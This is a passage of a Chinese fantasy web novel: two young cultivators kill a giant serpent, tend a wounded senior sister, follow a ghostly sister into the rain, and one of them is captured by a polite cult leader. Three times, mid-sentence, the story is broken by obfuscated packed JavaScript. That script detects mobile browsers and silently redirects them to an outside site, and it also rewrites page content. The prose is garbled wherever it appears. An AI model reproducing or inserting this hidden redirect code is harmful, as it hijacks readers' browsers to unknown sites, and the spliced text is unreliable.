衣袖翩跹间,红光纷纷扬扬,在空中自燃,仿佛一朵朵火莲,缓缓飘落,将躲避不及的蛇群烧成一片焦黑。 就在这时,青蚺蓄力完成,高举长尾,盖头劈下! “轰!” 震耳欲聋的爆响,枝叶狂颤,再度遮蔽视线。阿也嗅到风中浓烈的血腥气,扣紧袖剑。 风息之后,云欢仰面躺地,右腿被蛇尾压制,赤练无助地在周边徘徊,不得进入。她一动,身下更多的血涌出来,在泥水里晕开。 “沙沙……”蛇尾卷起,鳞片收缩,露出尾部一节两尺长的楔状白骨,两侧逐渐收窄,尖端如刀。 青蚺敛起尖牙,细细嗅过一遍猎物,确定她已是强弩之末,满意地吞吐蛇信。接收到首领的命令,蛇群收拢包围圈,放心大胆地靠近。 “哗啦——” 白影刺破憧憧树影,高高跃起,迎着那双大如灯笼的蛇瞳,掷出两柄袖剑。 这一招与云欢的相比,相形见绌。青蚺不慌不忙地拱身,扬起蛇尾,挑开迎面的一把,再闭上眼,一层碧绿覆膜瞬间盖住竖瞳。 而另一把袖剑划过覆膜,竟连印也未留下。 一击失手。阿也落地翻滚,避开青蚺尾骨的连连穿刺,直到顺势抽走一把袖剑,急忙隐入旁侧树影。 青蚺卷起蛇尾,末端的骨刃伸缩,对准藏身地劈来。 她及时拍出一掌,撼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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矮身滑入地穴,她匆忙搁下云欢,急促道:“等我!”随后抽身,头也不回地向另一个方向跑去。 迟来一步的青蚺擦着阿也衣角而过。它犹豫一下,显然对云欢更感兴趣,转而绕着地穴打转,想方设法地去够近在咫尺的猎物,奈何洞口太小,无法探入其中。 好一会儿,它终于想到办法,对准洞口张开血盆大口,扬起蛇信,露出藏在底下的黑色毒囊,收缩隔膜,喷出一股黏液。 奈何方向不对,尽数洒在洞口,茂盛的花草以肉眼可见的速度枯萎。 距离如此之近,云欢闻到青蚺口中的腥臭,屏住呼吸,使劲往后挪动,直到退无可退,后背不知是被泥水还是冷汗浸透。 眼看青蚺调整角度,黏液波及的范围越来越小、越来越深,云欢使劲蜷缩身体。 “嘶嘶——”青蚺终于得逞,蛇信扬起得意的弧度,毒囊激射出一股黏液。 大部分黏液铺在地穴洞口,少数几滴落在衣角,将丝质的彩衣腐蚀出小洞,继续向内渗透,沾上少女细嫩的肌肤。 “好痛……”云欢禁不住灼烧般的痛意,眼泪滚过脸颊,又被狠狠擦去。 暗骂自己没出息,云欢用力握住颈间物件,仿佛汲取力量般,深深吸了一口气。 开什么玩笑! 她还有那么重要的使命要去完成,怎么能死在这里! 19. 礼物 “唰——”凛冽的一声响。 云欢抬头,怔怔看着那道冷如三九的寒芒向这里刺出,以及背后那道狂奔而来的白影。 剑刃擦过蛇鳞,火花接连暴起。忽遭袭击,青蚺将身一扭,重重拍打地面,用余波震退来人,再挥动蛇尾的楔状白骨,作势进攻。 霎那间,寒芒调转,而一道银线激射而出,直冲蛇眼而来。 又是这招!青蚺弓身藏起七寸,迅速阖上覆膜。蛇鳞反射出的冷冷清光之中,那人解下红绳。 长发倾泻如瀑,阿也握住绳端,手腕一震! 红绳抖如长鞭,追上剑柄,打圈缠绕。巨力随起伏的波浪层层传递,银线陡然一转—— 艳丽的血花在空中爆开,又瞬间凋败。袖剑贯穿肉冠,带着余力钉入旁侧树干,没至剑柄,在风中震颤争鸣,似是狂喜。 扬起的蛇尾停滞在半空,一阵抽搐后沉重坠地,砸出轰然响声。 毒迅速渗入每一寸筋骨血肉。青蚺尝到被自己黏液腐蚀的滋味,在地上痛得翻滚,掀起落叶和泥土,蛇身高高拱起又颓然塌陷,好似一滩烂泥,在寒风中慢慢僵硬。 一线柔光分开尘雾。 她背光而来,拔出树干上的袖剑,掠过脚下摔烂的半面肉冠,解下外衣,披在地穴洞口上,俯身抱出云欢。 云欢闻到她喘息里血的味道,一下又忍不住了,眼泪涌出来。 “小烨……”云欢一把抱住她,无法舍弃这真实的温暖,又哭又笑,“你吓死我了!我还以为,我还以为……” “别怕,我不会丢下你的。”阿也咽下血沫,一边安慰云欢,一边解开赤练,重新包扎她腿上的伤口,“有药么?” “有的有的。”云欢连忙掏出七八个瓶子,一股脑塞给阿也,“这些都是。” 瓷瓶入手,碰出清凌凌的响声。光是这些瓶子都价值不菲……阿也咂舌,挑出几枚,“先吃这些,等药力化开后再外敷这几种。” 云欢连连点头。 “还有……”阿也一顿,不好意思道,“我想……借一些。”从黑衣人那摸来的药都是便宜货,比不得云欢手里这些,丹体圆润,色泽沉郁,皆是上品。 “借什么借?不用借!”云欢小手一挥,将瓷瓶统统推回去,又加塞两瓶看起来更贵的玉瓶,“这些都送给你了!” 阿也被这手笔惊到,恐怕华谏都没有这么多存货,“还是要还的,待我回去后还给你。” “不用还!要是被师姐知道我借药给救命恩人,骂都要骂死我了!”云欢见她犹豫,瞪起眼,“难道我的命还不如这些药?快收下!不许还我!” “多谢。”话已至此,阿也不再推辞,收好玉瓶,“师姐呢?” “在那里。”云欢指向远处,两面峭壁的交界,因常年迎风,被侵蚀出大小不一的洞。 “不急,你先休息会儿。”阿也提起袖剑,朝青蚺走去。剑尖割下剩余的半面肉冠,沿着背脊化开蛇皮,她熟练地开膛破肚。 蛇丹与蛇胆自不必说,能卖个好价钱。阿也剖丹剜胆,再支解虬结的蛇肉,蛇骨和蛇鳞是炼器的好材料,毒囊用来淬毒……她忙得热火朝天。 风吹起一片落叶,在空中打了个旋儿,擦过她的发梢,飘飘然落在云欢身边。她拾起落叶,贴在颈间,出神地望着阿也背影,冷静、果敢、强大……自己有朝一日也能变成这样么? 片刻后,阿也洗去手上血腥,收好战利品,一把火把残余的尸身烧干净,犹豫一下,还是捡起地上的外袍收进戒中。 洗洗还能穿。阿也转头道,“我们去找师姐。” 云欢吓了一跳,忙松开搭在颈间的手,“好。”那片落叶翩跹而落。 阿也俯身背起云欢,顺着她的指引攀上近道,艰难爬进洞口,嗅到浓重的血腥。内里太暗,什么都看不清,她小声问,“师姐?” “……谁?”黑暗里传出回应,近乎气声。 “师姐,是我和小烨。”云欢注入元力,赤练发出红光,照亮了脚下染血的地面。凹凸不平的石子布满深深浅浅的红痕,尤其可怖。 伤势这么严重?阿也皱眉,接着往里走,在角落见到趴卧在石板上的凌栾,立即放下云欢,上前查看。 她唇色惨白,双颊却是不正常的潮红,气息也是虚浮的。阿也闻到昂贵的药味,想必出自云欢之手,其中不乏起死回生之品,但怎么还是如此虚弱? 凌栾轻轻拨开她的手,“我没事。” “我,我简单处理了一下……但师姐吃了好多药,都不见好。”云欢攥拳,哽咽道:“不知那黑气是什么东西,明明伤口都长好了,还会裂开。” 黑气?阿也摁住凌栾的手,简单讲过往生教的事,“师姐,让我看看。” 凌栾听她说见过黑气,犹豫一下,还是乖乖趴好。云欢抓住赤练靠近,让光更亮些。 饶是有准备,对上她惨烈的后背,阿也仍是倒吸一口冷气。 破碎的衣物被血粘连成团,凌乱地贴在后背狰狞的爪痕上,而黑气在纵横交错的伤口里肆意窜动,仿佛鱼儿在溪水中畅游。 想起华谏手上那对黑色金属环,阿也咬咬牙,只能赌一把了。取出几粒丹药,趁云欢不注意,她弄破指尖,挤出血,混到一起碾碎。 “师姐,忍一忍。”阿也试探性地撒出一点,红色的粉末沾染黑气,如水滴入沸油,冒出烟来。 “唔!”凌栾昂起头,额角青筋暴起。 待烟缓缓散去,黑气居然真的淡了一些。阿也惊喜道,“师姐,感觉如何?” 凌栾仔细体会一番,轻轻点头,“的确轻松些。” “那太好了!”云欢连忙取出一堆瓷瓶,踉跄着放在阿也身边,“随便用,随便用!师姐你一定要好起来!不然我怎么跟长老交代呀……”说着说着,她小声哭起来,又自觉羞愧,垂下头,忍住啜泣。 “我们遇到了你说的白一。”凌栾解释道,“打了一架,没讨到好处。” “不是的……师姐,师姐是为了救我才受伤的。”云欢抽噎道,“都怪我拖了师姐后腿……” “如此险地,受伤是迟早的事。”凌栾无奈道,“不必自责,若没有你的药,兴许我早……” “没有的事!师姐你别乱说。”云欢摆手,“都是我不好……我,我还是去门口守着吧。” 阿也有心安慰她几句,又想不出什么话,望着她蹒跚的背影,叹了口气。 “她还小,犯错是难免的事。”凌栾低声道,“不必介怀,继续吧。” 待到一半,阿也伸手去擦她额头的冷汗,后知后觉是凌栾怕自己责怪云欢,不由心想,这凌大小姐,还真是刀子嘴豆腐心啊。 清理掉脏衣,阿也取出干净的里衣替她盖好,“师姐,睡一会儿吧。” 凌栾摇头,支起上身,“叫云欢过来。” 阿也犹豫一下,见她并无怒意,方去叫了人。云欢到了跟前,仍不敢抬头看她。 “到这儿来。”凌栾拍了拍身边侧,等云欢挪步靠近了,握住她的手,“前日无论换了哪个师姐来,都不会弃你于不顾。我是如此,我的师姐亦是如此。等你长大了,也该如此待你的师妹。” 泪水在眼眶里打转。云欢咬唇憋了回去,用力地点了点头,“嗯!” 难得见人这么温柔。阿也心想,忽地对上她的视线,察觉其中探究之意,赶紧报以笑容。 “你们是如何逃出来的?”凌栾问。 略去出逃的细节,阿也将功劳都归给华谏,“师兄韬光养晦,趁防卫松懈带我逃走,却被我拖累,落得一身伤,还中了封印。” 云欢一愣,总感觉哪里不对,没等想明白,又听凌栾问,“那青蚺呢?” 对上阿也眼神,云欢立刻意会,硬着头皮瞎编,“死了……都是赤练的功劳。” “还有云间派秘术。”阿也补充。 凌栾看看阿也,又看看云欢,这才注意到她的腿伤,脸色一沉,“怎么伤成这样?” “没有没有,就是一点小伤。”云欢忙道,向阿也投去求助的目光。阿也不得已开口:“的确是……小伤,已经上过药了。” 凌栾哪里看不出这是欲盖弥彰,面色不霁。 “师姐是为了保护我才受了这么重的伤,我要是再不受点伤简直不合天理。”云欢义正言辞,拍了拍胸脯,结果用力过猛,反倒拍得自己呛咳几声。 三人对视一眼,凌栾无奈摇头,二人挨着她席地而坐。 “师姐认为白一实力如何?”阿也问。 “惭愧。我从未见过如此修炼法门,不知疼痛,没有五感。”凌栾道,“恐怕能与师父一争。” 那一对一有点悬。阿也琢磨着,将华谏听来的消息告知,又补上一句,“最好知会一声云间派。” “兹事体大。”凌栾伸指搭在眉心,点亮一簇红光,“待我用秘法与师父通信,说明原委。” 片刻后,红光熄灭,显然通信已结束,但足有半响,凌栾才转头看向云欢,“云间派副掌门托我给你带句话。” “云绮师姐?”云欢搔了搔脸颊,“她说什么?” “副掌门说你要是……”凌栾一顿,“副掌门说你要是敢死在这里,她就当着师祖的面扬了你的骨灰。”说罢,她连连咳嗽起来,脸色微红。 “不急不急。”云欢递上水囊,替凌栾顺气,反倒宽慰道,“云绮师姐就是刀子嘴豆腐心,看起来不好相与,实上很好说话的。” 还好相与……你是没看见她朝石磊发难的样子。阿也腹诽,追问道,“云间派可会出手?” “副掌门承诺会供给物资。”凌栾道,“另外,师父让我们不要轻举妄动。” 愿意供给物资,加上允许云欢前来……云间派大概与往生教无关。阿也不免好奇,但怎么还是云绮管这事,云弈去哪了? “那,那些女孩子怎么办?”云欢小声道,“恐怕往生教会变本加厉,我们要见死不救吗……” “但现下仅凭我们几人……”凌栾欲言又止。 察觉气氛陡然沉重,阿也适时打断,“不如等大家汇合后再做打算吧。” “如是。”凌栾作势起身,不料手失力滑脱,被云欢及时扶住。 “师姐……”云欢担忧道。 “无碍。”凌栾摆了摆手,额头仍冒冷汗,“黑气已除,很快就会恢复了。” 三人互相搀扶着爬下峭壁。踩实地面的刹那,林子里忽然起了风,沙沙作响。 “往这边走。”来时已开过路,阿也指明方向,让云欢扶着凌栾先走。她瞥了眼身后,被血味吸引来的林魅现形,藏在树影里徘徊,不肯离去。 阿也歪了歪头,比出口型,“还不快滚?” 林魅摸不清拦路者的实力,又不甘心到嘴的食物飞走,踟蹰一阵,最终慑于她的威势,缓缓散去,林中再度恢复幽静。 阿也快步跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239280|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,见到两人背影时又是一顿,方才洞中昏暗,没看太清,现下才发现凌栾的伤势居然这么严重—— 日光如熔岩在她的后背流淌,最骇人的两道爪痕横跨整个脊背,深可见骨,料想几乎把人劈裂。 还好有云欢在旁。即便如此,除去黑气,也不知得多久才能愈合。阿也眯起眼,恐怕计划要变一变。 见她行走间扯动了伤口,阿也忙追上去,“我来吧。” 凌栾推辞不过,还是趴上她的背,被有力的臂膀地托起。 恍惚间,凌栾想起初见时,华烨端坐在席间,最小号的弟子服穿在身上,也空荡荡的,像个干瘪的游魂,一晃三年过去,没想到包扎伤口的手法如此熟练——大概吃了很多苦。 心头顿时泛起酸意,凌栾凑近了,耳语道:“你在华宗受欺负了,等师姐回去替你做主。” 阿也一愣,仿佛轻雨入湖,荡起涟漪,半晌,她微微一笑,轻声道:“那就有劳师姐了。” 凌栾这样一说,倒让她不好提出让人作诱饵一事了。阿也心道,看样子还得自己出手,真是个劳碌命,希望华烨这身体能再撑一段时间,等回去好好修养。 “说起来,刚才在路上我看到不少野果。”阿也有意无意地说,“待会我去采一些来,丹药不能填饱肚子,还是得吃些东西。” “的确,丹药数量有限,且为外物,不可依赖。”凌栾点头,“这里花鸟虫兽皆受元脉滋养,蕴有元气,有助于恢复。” 片刻后,洞口的落叶被踩碎,发出欢快的咔咔声。 “师兄!我找到师姐她们了!”阿也叫道。 “你……”华谏看见她背上的凌栾,一脸震惊,“你怎么伤成这样?” “和往生教的人打了一架。”凌栾瞧过华谏,四肢缠满绷带,除脸外没有一处完好的地方,皱眉道,“你伤的也不轻。” “都是我不好,拖累了师兄。”阿也一脸愧疚,悄悄对华谏比了个手势。 华谏脸一黑,但想到二人都有不为人道的秘密,于是话到嘴边,又硬生生改口,“你……算了,都过去了。” 阿也松了口气,放下凌栾,朝华谏投去感激的眼神,被白了一眼。 “伸手,先解封印。”凌栾道。 华谏别过脸,“你都这样了,还是省省力气。” “别矫情了。”凌栾喝道,“叫你伸手就伸手!” 华谏不情愿地伸手,露出腕上的金属环。 凌栾扣住华谏手腕,摸骨把脉,面色逐渐凝重,“我尽力而为。”她调动元力,严密地包裹金属环,激起一丝黑气。 黑气被一分为二,再二分为四……随着越来越多的黑气被分解,金属环逐渐开裂,而凌栾额头的冷汗也越来越多,顺着脸颊不间断地滚落。 云欢担心道:“师姐……” “无妨,我量力而行。”凌栾拭去汗水,继续炼化,“非一时半会能解。” 非一时半会?阿也心头一动,走近云欢,“劳烦你替二位护法,我去采些野果来。” “真是采野果?”云欢睨她,见阿也掩嘴轻咳一声,立刻凑近了,耳语道,“我懂我懂,谁还没几个秘密了?放心,我会替你打掩护的。” 那太好了。阿也点点头,走出小半里地,仍是不放心,又中途折返,解开外袍挂上树梢。 “等等,小烨!”云欢追上来,“我有东西忘记……你在干嘛?” “衣上有青蚺的气息,能震慑一些邪物。”阿也解释道。 “这样啊。”云欢恍然大悟,犹豫半晌,一拍额头,“想起来了,我有东西要给你!”她从背后猛地抽出一物件,“那些丹药值不了几个钱……所以,还得再加上这个!” 二尺见方的银盒,色泽古朴,花纹精细,连锁头都是珐琅嵌彩,一看就很贵。 “偶然听师姐提起你生辰将近,所以我特意为你准备了礼物。谁成想进入极境的时候失散了。这里整天都一个鬼样子,我怕记不清日子弄糟了,干脆提前送给你,还能用上!” 云欢一边埋怨,一边解锁开盒。 柔韧的绿藤托起相互依偎的两朵白花,一朵含苞,一朵怒放,花蕊明亮如金,花瓣洁白胜雪,在日光中闪耀着绸缎般的光泽——并蒂芙蓉。 没想到竞价三轮,花费两百金的冤种居然就在身边。阿也五味杂陈,连忙摆手,“这花实在贵重……”她掐断话,接着道:“这花看起来实在贵重,还请收回。” “这是我的心意,你就收下吧!”云欢可怜巴巴,像是在摇尾乞怜,“我认真挑了好久呢,特意为你买的!要是你不收才是浪费呢,你就收下吧——” 僵持不过,阿也只得接下银盒,微微颔首,“多谢。” 银盒入手,沉甸甸的,花香在鼻尖萦绕,清清浅浅,隐隐有盎然春色浮现。 阿也忽然觉得这两百金花的不亏。 云欢轻点花苞,绿光亮起,留下三叶七瓣的图案。她分开藤蔓,连花一同勾在阿也耳后,苞蕾轻巧垂落,像精心打造的耳坠子。 “我在花上留了印记,不必借助链接传音。有什么情况记得告诉我,一定要小心。” 阿也点点头,学她用轻触另一朵并蒂芙蓉,注入元力。 白光亮起,金色剑纹显形,又瞬间消弭。 心底蓦然一空,仿佛破了个大洞,有狂风呼啸而过,止不住地钝痛。就像是回到不知名的梦里,见到空白的那张脸。 20. 忍冬 曾遗忘的梦境卷土重来。 这是哪儿?阿也心想。走在鹅卵石路上,两旁锦花招摇,除此之外,皆被浓雾包围,似乎有意让人分辨不清。 脚下凹凸不平的触感和周边馥郁的花香提醒她这里不是梦境,也不是真实的云间派。 阿也试图控制自己的步伐,手脚却不听使唤,沿着既定路线走下去。 “你又在搞什么鬼?”她有心叫黑焰出来解释,但声音在识海里回荡,如空谷足音。 好在不多时,前方浓白忽然褪去,依皴合山,荷塘观亭。 上桥的刹那,阿也察觉禁锢松动,用尽全力低头,在莲叶与锦鲤间窥见一角倒影,领口的金丝剑纹明晰,而面容被涟漪扭曲。 只一瞬间,阿也被迫抬头,继续向前,走近观亭。 亭中有两人,皆是女子身形。一人红衣醒目,正趴在石桌上小憩,而另一人身披羽氅,听见脚步声,急忙转身,青色裙摆如莲绽开,然后探出头—— 那张脸上,什么也没有。 “……”好像开口说了什么,但声音传进耳里,一片嘈杂的嗡嗡声。 那张空白的脸骤然龟裂,面皮扑簌掉落,像是整面泥墙正在剥脱。 阿也悚然,视野如镜面破碎。她脚下一空,掉入漆黑的漩涡,好一阵天旋地转,落地时,雾又幽幽弥漫在眼前。 一眨眼,雾气散尽了,眼前再现那座黑色的断崖,碎石滩上一览无余,诡异的安静。 真是莫名其妙的梦。阿也回过神,推开通道尽头的石门,欣赏自己的杰作——被烟熏黑的壁画和被烧成两截的香案。 但石厅内空无一人。 右边石台上的锁链被斩断,胡乱地堆积成山;左边石池被整个挖走,在原地留下方形的印记。 她走下石梯,看向壁画里的四方锥塔,塔尖那半个拳头大小的孔洞格外显眼,一时手痒起来,不住地摩挲储物戒中那块灰石。 “塞进去试试。”心底有个声音冒出来,煽风点火,“说不定有惊喜。” “出来吧,别装神弄鬼了。”阿也揉了揉眉心,“这可不像你的风格。” “哎呀,被发现了。”一句毫无诚意的喟叹,黑焰出形来,绕壁画逡巡一圈,讥笑道,“真是虚无的成神之路啊。” 转向阿也,它低声诱哄道:“你真的不试?塞进去说不定会有好东西。” “打住。”阿也告诫自己,别再玩脱了,“我说了不试就不试。” “真可惜。还以为会有趁虚而入的机会。”黑焰淡去身形,“冬眠去咯。” 在华烨魂魄这件事上,她和黑焰不可能达成共识,但它没有像往日那样百般纠缠,倒是令人有些意外。 石台上满是泥泞的脚印,错综复杂,水迹时聚时散,可见雨中转移人质时的匆忙。 阿也走进角落,被石壁拦路,便抬起手,一寸寸摸过,终于在底部摸到三幅隐秘草图,粗看像是随手而为,实则是琅矜留给她的记号。 第一幅图中,两个四方锥塔间以笔直的箭头相连,代表往生教迁移据点,与计划一致。 第二幅最易解读,是波动的环形,寥寥几笔水纹,勾勒出湖的模样——老巢在湖边? 第三幅却十分混乱。先是一条起伏的曲线,再添上四条短线——阿也花了点时间猜出那是蛟龙的四肢,又被打上一个大大的叉。 是蛟龙?不是蛟龙?阿也想不明白,干脆不想了,迈出石厅,往通道更深处走去,一脚踹开暗室大门。 暗室比石厅更加混乱。桌椅倾倒,灯油涂地,衣物四散,被踩满密密麻麻的脚印,仿佛被盗贼洗劫过。 “咔。”脚下一硌,阿也低头,是碎了半面的石制名牌,仅剩个字,“二”。 周遭这样的石牌还有不少,恰好十二枚,对应包围她的人数,姓氏已不可考,但字仍完好,六、八、十六……均为双数。 目光落在书案旁的碎纸上,阿也弯腰拾起几张,看出信件的格式。好在撕毁仓促,还能看出字迹,她耐着性子拼凑。 “轰——”石室被巨响撼动,抖落簌簌灰尘。 什么动静?阿也垂目静听,却再无下文,直觉不妙,于是加快动作,继续拼信。 “阴阳配母。” “虚者充盈,老者长生。” 除却这两句外,剩下的都是寒暄之语,并无实际意义,视线一路往下浏览,忽地一顿。 指尖捏住信笺右下角,慢慢掐进那个再熟悉不过的印戳上,简笔的蔓藤生花图,藤卷如环,花瓣垂须——忍冬。 常年开在藏经阁的典籍札帙里,抑或演武场的擂台围栏上,甚至刻在飞舟的青铜灯座中。 即便是那枚印章,她也见过许多次。 在卧床修养的那段时间,芳芪虽是闲职,但作为一堂之主,偶尔有事要离开。华重楼担心无人照料,遂来替班,进门时寒暄几句,便坐在案前,斟一杯茶,能坐满一个时辰不起身。 那时,刻着忍冬的印章就落在这些纸上。 “轰隆——”又是一声巨响,在石室里徒劳回荡。 终于听出是雷声,阿也自嘲一笑,将拼好的碎纸揉成一团。 “哗啦啦——” 柴拾到一半,忽然下起暴雨。云欢赶紧跑回山洞中,从衣下取出干柴,根根垒起来。 “奇怪,最近除了白天,就是下雨,一天倒来上好几场,怎么不下雪下冰雹呢?”云欢埋怨道,见凌栾面色发白,连忙递去一瓶丹药,又瞧了眼打坐调息的华谏,气色好过许多,问,“他怎么样了?” “封印解得差不多了,再给些时间让他适应。”凌栾像吃糖那样吞药,指向柴堆底部,“底下堵得太严实了,会烧不起来的。” “这样啊。”云欢挠了挠头,依言拆了重摆,再虚心请教,很快搭出框架,也不急着点火,而是往洞外张望,“小烨怎么还不回来?” “大概是找地方避雨去了。”华谏适时睁眼,转向云欢,挑起眉头,“不必担心。” 听凌栾说起青蚺一事时,云欢借口出去寻柴,他一下便猜到,与其说是云欢借助赤练和秘术灭蚺,倒不如说是被那人出手相救。 这样看着她做什么?云欢不自在地别开脸,点燃引火的干草,塞进柴堆底下的空隙,忽听见背后的细碎脚步,欣喜地转身,“小——谁?!” 火苗登风窜高,照亮了来人。 身披黑衣,长发及腰。 女子缓缓抬头,正是华谏在岸边见过的那张脸。那时她眉黛浓郁如墨,颊边两团晕开的霞云,口脂艳红,十分动人。 眼下浓妆被雨洗净,露出原本的五官,眼下发青,嘴唇乌紫,一张毫无生气的面容。 “甘棠师姐?”凌栾喃喃道。 女子直直地站在洞口,既不入内,也不后退。雨水无情地击打她的后背,又沿着发梢和衣摆蜿蜒流进洞中—— 好像一堵遮风挡雨的高墙。云欢想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239281|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,指腹在颈间打转,又默默收回。 “你……确定她是师姐?”华谏压低声音,“凌栾,你冷静一点,再好好看看。” “的确是甘棠师姐……”凌栾紧紧盯着女子的脸,眼神忽地一黯,“不,我不能确定……” 不顾华谏阻拦,她走上前,轻声道,“甘棠师姐?我是凌栾,你……还记得我吗?” 女子的脸色被电光照得青白,而咯咯笑声与雷声交相呼应,说不出的阴森诡异。 “是师姐无疑。”凌栾肯定道,在甘棠面前挥手,却得不到回应,“师姐?师姐!” 真是师姐?华谏回忆岸边相见的那幕,那时她的确在沙上写下此名,是他不记师姐姓名才引起误会,但此情此景太过诡异,难以令人信服。 见凌栾心慌意乱,他急忙劝道:“冷静!她尚存神智,但无法说话。” “你见过师姐?”凌栾猛地转头。 华谏将事情完整讲过一遍,“……最后她引我进入断崖,然后就消失了。” “华烨说她是在去寻你的路上被往生教抓走的。”凌栾不解,“这两者之间……” “我有个猜测。”云欢迎上二人目光,不确定道,“如果小烨没有和你分开……那师姐原本是不是想带你们避开往生教,去救人出来?” “这……”华谏不可置否。 “师姐可曾出手伤你?”云欢问。 “倒是不曾。”华谏如实道。 “那至少说明她无心害你。”云欢安抚凌栾,“师姐或许是被什么魇住了。” “有几分道理。”凌栾点头。 华谏不认同道,“但你如何确定甘棠是被魇住了?她甚至没有活人的气息。” “一试便知。”凌栾义无反顾地继续靠近,“师姐来此,可是要带我去某处地方?” 女子眼一亮,迅速点头。 “那你可会伤害我?” 女子慢慢摇头。 “那我跟你走。” 这回答仿佛触发某种机关,女子利落地转身,跑进无边风雨。 “你们暂且在此处等候。”抛下一句,凌栾迅速跟上,雨水洗过后背伤口,犹带血色。 “你伤成这样还要逞强?”华谏大吼一声,见凌栾头也不回地冲进丛林,倏地起身。 “师姐!公子!你们的伤……伤!外面还在下雨啊!”一个也没拦住,云欢急得在原地跺脚,赶忙熄了柴堆,一瘸一拐地开始追,“药,药还在我这儿啊——” “咔咔——”洞口的落叶被人踩碎。 阿也停住脚步,抬起眼,朝外望去。 原本的碎石滩不见了,取而代之的是一片滩涂,湖水轻柔地扑上岸边,卷起细沙,退去时留下层层波纹,周而复始。 她竟然又回到此处。天边日头高悬,有轻风拂过镜湖,涟漪荡开柔光。 眨眼间,白雾如潮水般涌来,遮去眼前的景象,浓稠得挥不开,而数不清的黑影在雾中显出模糊的轮廓,默然注视她。 阿也扣住袖剑,压下身体不自觉的战栗。这感觉太过熟悉,像是从梦中惊醒,发现床边有人盯着自己。 “咻——”尖锐的口哨声响起。 黑影整齐划一地向她靠近,如同梦中那些涉水而来的伥鬼,手中利器磕碰,刮擦声尖锐,正如囚铃锒铛。 为首的那人率先钻出浓雾,平平无奇的脸上流露出笑意。 “终于,找到你了。” 21. 闲人 又见到四方锥塔的壁画,阿也盯着塔尖的孔洞,一模一样的大小,只是更加古老。 “小姐?”领头者拎起一对黑色的金属环,用清脆的碰撞声唤回她的注意。 “我这点实力,就不用了吧。”阿也打着哈哈后退。 “在下不想动粗。”领头者无奈道,却语带笑意,“然而小姐着实令人惊喜,带着伤患还能斩杀在下的十二位下属,不得不防。” “若小姐不愿,那在下只能赏给这些姑娘们了。”他侧移一步,露出身后铁笼—— 数十少女挤在四方锥型的铁笼中,互相抱团取暖,看向阿也的眼神,像是羔羊捱在一起艰难过冬,期盼着春天的到来。 阿也一眼瞧见鼻青脸肿的琅矜,看样子她把消息都散播出去了。 领头者补充道:“此物性寒,不知姑娘们能不能受得住。” 伪君子。阿也伸出手,假笑道:“教主言重了。” “在下并非教主,不过是闲人一个。”领头人解开金属环,轻轻搭在她腕上,“小姐若不嫌弃,唤在下一声公子闲便是。” “啪嗒。”金属环合上,丝丝黑气逸出,钻进皮肉,针扎般的疼痛让阿也下意识一缩。 下一瞬,厚重的大氅盖上肩头。领口松软的毛裘贴上脸侧,阿也闻到清冽的气息,仿佛轻风捎来远山雪的味道。 “原来小姐身体虚弱,禁不得寒气。”公子闲拱手,“是在下失策,小姐有需求尽管提。” 黑气在丹田内翻江倒海,阿也忍住痛意,玩笑道:“那公子不如替我解了这环?”她抬起手腕,金属环随之旋转,照见自己发紫的嘴唇。 公子闲叹了口气,屏退黑影和下属。 阿也立即警惕,盯紧他的动作,纠结是现在撕破脸还是等套点东西出来再说。 “咔。”清脆的一声响。 金属环自行解开,化作一缕黑气,被他尽数收入袖中。公子闲温和一笑:“小姐所求,在下自当竭尽所能。” 元力化形?这人的实力甚至在华重楼之上。阿也忍住惊异,不露异色,“多谢公子。” 公子闲似乎对她很宽容。她心想,学云欢的样子可怜巴巴道:“公子,我饿了。”先试试能到何种地步,再哄他说些有用的。 公子闲挥袖,黑影尽数而出,俯身听令。他道,“去,为小姐备席。” 备……席? 坐在长桌尽头,阿也被琳琅满目的菜肴晃花了眼,从没想过在这深山老林里还能吃上堪比华宗年节的盛宴。 “小姐请慢用。”公子闲替她布箸。 阿也谦让道:“公子为主,我为客,自然是公子先请。”以免他下毒。 “失礼。”公子闲先动筷,阿也跟在后面夹菜,金橘酸甜肉、珍珠双色丸、豉汁鲟龙鱼…… 这人口味和她相近,喜欢色彩鲜亮和口味丰富的。吃得心满意足,阿也吹捧道:“公子眼光甚好。” 公子闲咽下食物,搁置木箸,执帕拭去唇边油渍,方道:“不过是些吃食罢了。” 这一举一动……倒是颇有教养。阿也心想,能在这等年纪有如此实力,她却从未听说过这号人物。 “若小姐欢喜,不如留在此处,在下定每日奉上新鲜吃食。”公子闲抚掌,“若有其他需要,一并提来便是。” 阿也放慢咀嚼的速度,缓缓咽下,“卓小姐她……怎么样了?”她没有在铁笼中见到卓清歌,不知是否移去别处。 “若小姐肯留下,她自然无碍。”见她停著,公子闲关切道,“这道菜不合胃口?” 阿也摇头,“没有。”就是被你恶心到了,她转念一想,还没到撕破脸的时候,于是从戒中拿出点心盒,摆在桌上,打算试探他对自己的信任。 察觉他的目光在花糕上停留太久,恰有此意,阿也便道:“公子可要尝一尝?”说罢,大方地推出木盒。 “这是……也桃?”公子闲轻声问,语气令人捉摸不透。 阿也当他不喜欢,赶紧收回木盒,“恕小女无心之过。” 